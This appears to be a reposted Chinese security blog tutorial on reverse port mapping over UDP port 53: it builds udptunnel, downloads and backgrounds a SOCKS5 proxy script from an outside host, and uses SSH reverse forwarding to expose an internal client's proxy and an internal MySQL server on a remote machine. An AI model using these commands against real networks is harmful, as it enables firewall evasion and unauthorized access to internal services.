UDP反向端口映射方法

颓废 2019年5月19日09:30:07评论953 views字数 874阅读2分54秒阅读模式
摘要

编译可执行程序
===========================================================  使用udptunnel连接119.29.29.29的53/udp端口,打通隧道

UDP反向端口映射方法

编译可执行程序

server# git clone https://github.com/ring04h/udptunnel.git  server# cd udptunnel  server# make

服务端启动 UDP 53端口, 用于UDP隧道服务

假设服务器的外网IP为 119.29.29.29

server# ./udptunnel -s 119.29.29.29 53

客户端同样的方法编译可执行程序

客户端,下载和启动socks5代理服务,端口为 1080 假设客户端的内网IP为 10.0.0.20

client# wget http://fuzz.wuyun.org/src/s5.py client# nohup python s5.py 1080 &

=========================================================== 

使用udptunnel连接119.29.29.29的53/udp端口,打通隧道

并将119.29.29.29的SSH服务端口映射为客户端10.0.0.20的2222端口

client$ ./udptunnel -c 10.0.0.20 2222 119.29.29.29 53 127.0.0.1 22

=========================================================== 

户端10.0.0.20连接119.29.29.29的SSH服务,

将10.0.0.20的1080端口代理服务,转发到119.29.29.29的1080上

client$ ssh -C -f -N -g -R 1080:10.0.0.20:1080 [email protected] -p 2222

=========================================================== 

同理,可以转发内网的其它服务器的端口到远程服务器

client$ ssh -C -f -N -g -R 3306:172.168.1.10:3306 [email protected] -p 2222

全程都是使用53端口的UDP协议进行通信;

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:30:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UDP反向端口映射方法http://cn-sec.com/archives/68209.html

发表评论

匿名网友 填写信息